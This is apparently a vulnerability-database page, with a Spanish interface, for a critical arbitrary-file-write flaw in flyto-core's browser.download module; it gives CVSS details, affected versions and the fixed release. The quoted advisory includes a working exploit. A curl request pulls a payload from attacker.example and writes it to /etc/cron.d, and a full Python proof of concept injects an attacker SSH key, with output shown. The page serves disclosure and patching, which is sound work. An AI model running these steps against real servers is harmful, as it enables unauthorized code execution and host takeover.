llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · flyto-core

GHSA-P64W-HGFM-824V

Arbitrary file write via browser.download save_path

Parche disponible
Descargar PNG JSON
CVSS 3.1
9.9
Crítica
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición105 dDesde la divulgación, 6 ago 2026, 8:52 p. m.
Detección103 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 2.26.12
Monitoreo
Detectada +1
7 ago 26
18 nov 26
20 nov 26
7 ago 26
2 sept 26
28 sept 26
24 oct 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-P64W-HGFM-824V divulgada · CVSS 9.9 (GitHub)
Remediación Parche 2.26.12 flyto-core · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

The browser.download module saves a downloaded file to a caller-controlled
save_path with no path validation. The write is not confined to
FLYTO_SANDBOX_DIR and can overwrite any existing file the server process can
write. The prior critical file-write fix waves did not include
browser.download, browser.screenshot, or browser.pdf: wave 1 (CVE-2026-67429 /
GHSA-2956-977x-2w3r, Critical 10.0, fix commit d5f89d7130, 2026-07-07)
routed image.* and document writers through validate_path_with_env_config();
wave 2 (fix commit bbb6f1cfec, 2026-07-11, referencing GHSA-p34x-fmph-9fjx
as "incomplete fix of GHSA-2956"; that advisory is not visible to the public)
reached data.csv.write, data.json_to_csv, file.copy, file.move,
browser.record, meta.update_docs, verify.annotate, verify.ruleset. Their
path_restricted tag is metadata only; no enforcement exists anywhere in
core/. Verified live on the current pip release 2.26.11; the main branch
carries the same unguarded code (checked 2026-08-05).

Type of vulnerability

Arbitrary file write / improper pathname limitation (CWE-22, CWE-73 - the
CWEs assigned to CVE-2026-67429 for the same class; CWE-434 as a secondary).
A caller-controlled path parameter is passed unvalidated to a write
primitive (playwright download.save_as) that stores attacker-controlled
bytes.

Location (2.26.11 layout, src/core/modules/atomic/browser/download.py)
  • Line 83: self.save_path = self.params['save_path'] (no validation)
  • Line 87-88: save_dir = Path(self.save_path).parent;
  • Line 108: await download.save_as(self.save_path) (attacker bytes,
  • Line 20: tags include 'path_restricted'; the tag is never enforced (grep

Gap:
- browser.screenshot (line 60: self.path = self.params.get('path'); line 79:
browser.screenshot(self.path)) - image content
- browser.pdf (line 100: self.path = self.params['path']; line 146:
page.pdf(**pdf_options)) - PDF content
- warroom.report (output_path), verify.report (output_dir; its report HTML
is built with unescaped caller data), audit.report_generator (output_dir)

Reproduction

Prereq: flyto-core 2.26.11 server with the HTTP API (any port) and an
authenticated workflow-run token. The default deployment auto-generates one
and stores it at ~/.flyto/.api-token-<port> (secrets.token_urlsafe(32), mode
0600; FLYTO_API_TOKEN overrides). The attacker controls a page on a public
host: browser.goto's SSRF guard allows public hosts (it blocks private and
loopback addresses); the save path itself has no guard of any kind.

Manual reproduction (curl)

Host the attacker page and payload anywhere public (no server config change
needed):

index.html:
<!DOCTYPE html><html><body>
<a id="dl" href="/payload.bin" download>payload</a>
<script>document.getElementById('dl').click();</script>
</body></html>

payload.bin:  any bytes, e.g. "PWNED-FLYTO-34\n" (binary ok)

POST /v1/workflow/run with a valid bearer token:

curl -s -X POST http://<server>:8333/v1/workflow/run \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "workflow": {
      "steps": [
        {"module": "browser.launch", "params": {"headless": true}},
        {"module": "browser.goto", "params": {"url": "https://attacker.example/index.html"}},
        {"module": "browser.download",
         "params": {"selector": "#dl", "save_path": "/etc/cron.d/flyto-pwn", "timeout_ms": 60000}}
      ]
    },
    "params": {}
  }'

The server writes the attacker payload byte-perfect to the chosen path.

Self-contained PoC (stdlib only, full source)
#!/usr/bin/env python3
"""PoC: flyto-core browser.download arbitrary file write (advisory draft).

Self-contained (stdlib only). Drives an existing flyto-core 2.26.11 API
server as an authenticated workflow author. Two legs plus a control:

  Leg A (write primitive): browser.launch + browser.goto(attacker page) +
      browser.download with save_path outside the sandbox; verifies the
      attacker payload landed byte-perfect.
  Leg B (attacker chain): same write against a real-world target the
      attacker would pick: ~/.ssh/authorized_keys of the service user
      (SSH access as that user). Pass an absolute path; the module does
      not expand '~'.
  Control: file.write to the same path fails with [PATH_TRAVERSAL] - the
      sandbox boundary holds for the fixed sibling, which proves the
      browser.download write is the unguarded escape.

Usage (save the source above as any file, e.g. flyto_browser_download_poc.py;
the filename is arbitrary):
  python3 flyto_browser_download_poc.py \
      --api http://127.0.0.1:8333 \
      --token <bearer token or path to ~/.flyto/.api-token-<port> file> \
      --attacker-url http://your-public-host/poc_page/index.html \
      [--save-path /tmp/flyto_poc_pwned.bin] \
      [--chain-path /root/.ssh/authorized_keys]

In a real attack the attacker targets an absolute path from the deployment
shape: /root/.ssh/authorized_keys or /etc/cron.d/<name> in root containers
and CI runners, /home/<service-user>/.ssh/authorized_keys on hosts.

Attacker page: host the two files below anywhere the browser can reach
(a public host works with the default SSRF guard; a private host works when
the server operator set FLYTO_ALLOW_PRIVATE_NETWORK=true):

  poc_page/index.html:
    <!DOCTYPE html><html><body>
    <a id="dl" href="/payload.bin" download>payload</a>
    <a id="dlb" href="/key.bin" download>key</a>
    <script>document.getElementById('dl').click();</script>
    </body></html>

  poc_page/payload.bin:  any marker bytes
  poc_page/key.bin:      the attacker ssh public key line (Leg B)

The --serve-dir mode writes both files for local testing.
"""
import argparse
import json
import os
import pathlib
import subprocess
import sys
import time
import urllib.request

PAYLOAD = b"PWNED-FLYTO-34 browser.download arbitrary file write\n"
SSH_KEY_LINE = b"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIattacker-key-for-poc-only flyto-poc\n"
PAGE = """<!DOCTYPE html><html><body>
<a id="dl" href="/payload.bin" download>payload</a>
<a id="dlb" href="/key.bin" download>key</a>
<script>
document.getElementById('dl').click();
</script>
</body></html>"""


def load_token(arg):
    if arg is None:
        candidates = sorted(pathlib.Path.home().glob(".flyto/.api-token-*"))
        if not candidates:
            sys.exit("no token: pass --token (value or path to token file)")
        return candidates[-1].read_text().strip()
    if os.path.exists(arg):
        return pathlib.Path(arg).read_text().strip()
    return arg


def api(base, token, body):
    req = urllib.request.Request(base.rstrip("/") + "/v1/workflow/run",
                                 data=json.dumps(body).encode(), method="POST")
    req.add_header("Content-Type", "application/json")
    req.add_header("Authorization", f"Bearer {token}")
    with urllib.request.urlopen(req, timeout=180) as r:
        return json.loads(r.read())


def workflow(base, token, steps):
    return api(base, token, {"workflow": {"steps": steps}, "params": {}})


def download_write(base, token, target, selector="#dl"):
    return workflow(base, token, [
        {"module": "browser.launch", "params": {"headless": True}},
        {"module": "browser.goto", "params": {"url": args_attacker_url}},
        {"module": "browser.download",
         "params": {"selector": selector, "save_path": target,
                    "timeout_ms": 60000}},
    ])


args_attacker_url = ""


def main():
    global args_attacker_url
    ap = argparse.ArgumentParser()
    ap.add_argument("--api", default="http://127.0.0.1:8333")
    ap.add_argument("--token", default=None,
                    help="bearer token or path to the token file")
    ap.add_argument("--attacker-url", required=True,
                    help="URL of the hosted attacker page (index.html)")
    ap.add_argument("--save-path", default="/tmp/flyto_poc_pwned.bin",
                    help="target path for the write-primitive leg")
    ap.add_argument("--chain-path", default=None,
                    help="attacker chain target, e.g. ~/.ssh/authorized_keys")
    ap.add_argument("--serve-dir", default=None,
                    help="serve the attacker page from this dir on 0.0.0.0:8080 "
                         "and stop after the test (local testing only)")
    args = ap.parse_args()
    args_attacker_url = args.attacker_url
    token = load_token(args.token)

    serve = None
    if args.serve_dir:
        d = pathlib.Path(args.serve_dir)
        d.mkdir(parents=True, exist_ok=True)
        (d / "index.html").write_text(PAGE)
        (d / "payload.bin").write_bytes(PAYLOAD)
        (d / "key.bin").write_bytes(SSH_KEY_LINE)
        serve = subprocess.Popen([sys.executable, "-m", "http.server", "8080",
                                  "--bind", "0.0.0.0", "--directory", str(d)],
                                 stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        time.sleep(1)

    try:
        print("=== Leg A: write primitive (any path, byte-perfect) ===")
        target = args.save_path
        resp = download_write(args.api, token, target)
        if not resp.get("ok"):
            print(f"[!] workflow failed: {resp.get('error')}")
            return 1
        p = pathlib.Path(target)
        if not p.exists():
            print("[!] target file not created")
            return 1
        content = p.read_bytes()
        print(f"[+] file written : {target} ({len(content)} bytes)")
        print(f"[+] byte-perfect : {content == PAYLOAD}")
        if content != PAYLOAD:
            print(f"[+] written bytes: {content!r}")
            return 1

        if args.chain_path:
            print("\n=== Leg B: attacker chain - ssh key injection ===")
            chain = args.chain_path  # passed verbatim; the module does not
            # expand '~' - a real attacker uses the absolute path of the
            # service user's home (e.g. /root/.ssh/authorized_keys in
            # containers, /home/<user>/.ssh/authorized_keys on hosts)
            resp = download_write(args.api, token, chain, selector="#dlb")
            if not resp.get("ok"):
                print(f"[!] chain write failed: {resp.get('error')}")
                return 1
            c = pathlib.Path(chain)
            got = c.read_bytes() if c.exists() else b""
            print(f"[+] wrote attacker key to : {chain}")
            print(f"[+] ssh key line present  : {SSH_KEY_LINE in got}")
            try:
                mode = oct(c.stat().st_mode & 0o777)
            except OSError:
                mode = "?"
            print(f"[+] file mode             : {mode}")
            print("    (sshd rejects a group-writable authorized_keys; the")
            print("     created mode follows the server umask (0644 under")
            print("     umask 022). In root deployments the attacker instead")
            print("     writes /etc/cron.d entries or /etc/ld.so.preload,")
            print("     which have no mode constraint)")

        print("\n=== Control: file.write to the same path (fixed sibling) ===")
        resp = workflow(args.api, token, [
            {"module": "file.write",
             "params": {"path": target, "content": "x"}},
        ])
        err = str(resp.get("error", ""))
        if "PATH_TRAVERSAL" in err:
            print("[+] control refused: True (PATH_TRAVERSAL)")
            print(f"    engine error: {err[:160]}")
        else:
            print("[!] control succeeded: the target sits inside the server "
                  "default sandbox base (server working directory). Rerun "
                  "with --save-path outside the server CWD to see the guard "
                  "refuse the fixed sibling. Engine error: " + err[:120])

        print("\n[+] PoC complete.")
        return 0
    finally:
        if serve:
            serve.terminate()
            serve.wait()


if __name__ == "__main__":
    sys.exit(main())
Observed output
=== Leg A: write primitive (any path, byte-perfect) ===
[+] file written : /tmp/flyto_poc_pwned.bin (53 bytes)
[+] byte-perfect : True

=== Leg B: attacker chain - ssh key injection ===
[+] wrote attacker key to : /tmp/flyto_poc_home/.ssh/authorized_keys
[+] ssh key line present  : True
[+] file mode             : 0o664
    (sshd rejects a group-writable authorized_keys; the
     created mode follows the server umask (0644 under
     umask 022). In root deployments the attacker instead
     writes /etc/cron.d entries or /etc/ld.so.preload,
     which have no mode constraint)

=== Control: file.write to the same path (fixed sibling) ===
[+] control refused: True (PATH_TRAVERSAL)
    engine error: Workflow execution failed: Step failed: Module file.write failed after 1 attempts: [PATH_TRAVERSAL] Path escapes base directory: /tmp/flyto_poc_pwned.bin (resol

[+] PoC complete.

The lab server ran with the attacker page on 127.0.0.1:8080, which needed
FLYTO_ALLOW_PRIVATE_NETWORK=true; with a public attacker URL no server config
change is required. The save path has no guard in any config. Leg B targeted
a scratch service home (/tmp/flyto_poc_home) to avoid touching the real
system; the write itself is identical for any absolute path the server
process can write.

Impact

Any authenticated workflow author (or MCP client) can write attacker-
controlled bytes to any path the server process can write, outside
FLYTO_SANDBOX_DIR, and overwrite any existing file. The PoC shows the
working attacker chain: ssh key injection into ~/.ssh/authorized_keys (SSH
access as the service user). The same write reaches /etc/shadow (credential
control as root), cron files, site-packages modules or .pth files, and
/etc/ld.so.preload in root deployments (remote code execution in containers
and CI runners). The write escapes the sandbox boundary that the fixed sibling modules enforce.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
flyto-core≥ 1.2.0 ≤ 2.26.11
1.2.0
2.26.11
2.41.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypiflyto-core
Corregida 2.26.12 0 d 2.41.0 no afectada
Versiones corregidas2.26.12
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/flytohub/flyto-core/security/advisories/GHSA-p64w-hgfm-824v

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.